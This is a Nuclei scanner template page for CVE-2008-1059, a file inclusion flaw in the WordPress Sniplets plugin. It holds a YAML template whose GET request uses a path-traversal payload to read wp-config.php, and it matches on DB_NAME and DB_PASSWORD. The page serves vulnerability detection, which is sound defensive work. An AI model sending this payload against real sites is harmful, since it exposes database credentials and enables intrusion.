Skip to content
Nuclei Templates

WordPress Sniplets 1.1.2 - Local File Inclusion

ID: CVE-2008-1059

Severity: high

Author: dhiyaneshDK

Tags: cve2008,cve,lfi,wordpress,wp-plugin,wp,sniplets,edb,wpscan

Description

Section titled “Description”

PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2008-1059


info:
  name: WordPress Sniplets 1.1.2 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: |
    Update WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1059
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40829
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2008-1059
    cwe-id: CWE-94
    epss-score: 0.01493
    epss-percentile: 0.86573
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wordpress
    product: sniplets_plugin
  tags: cve2008,cve,lfi,wordpress,wp-plugin,wp,sniplets,edb,wpscan


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022013b337065b80985ac0751b8c173af5a5a871e504f8380a96ba5c959416c01c6b022100e77a854d6d88a1759053ea5b2393e56d19648ab396389c02295bdb58c7526416:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2008/CVE-2008-1059.yaml"

View on Github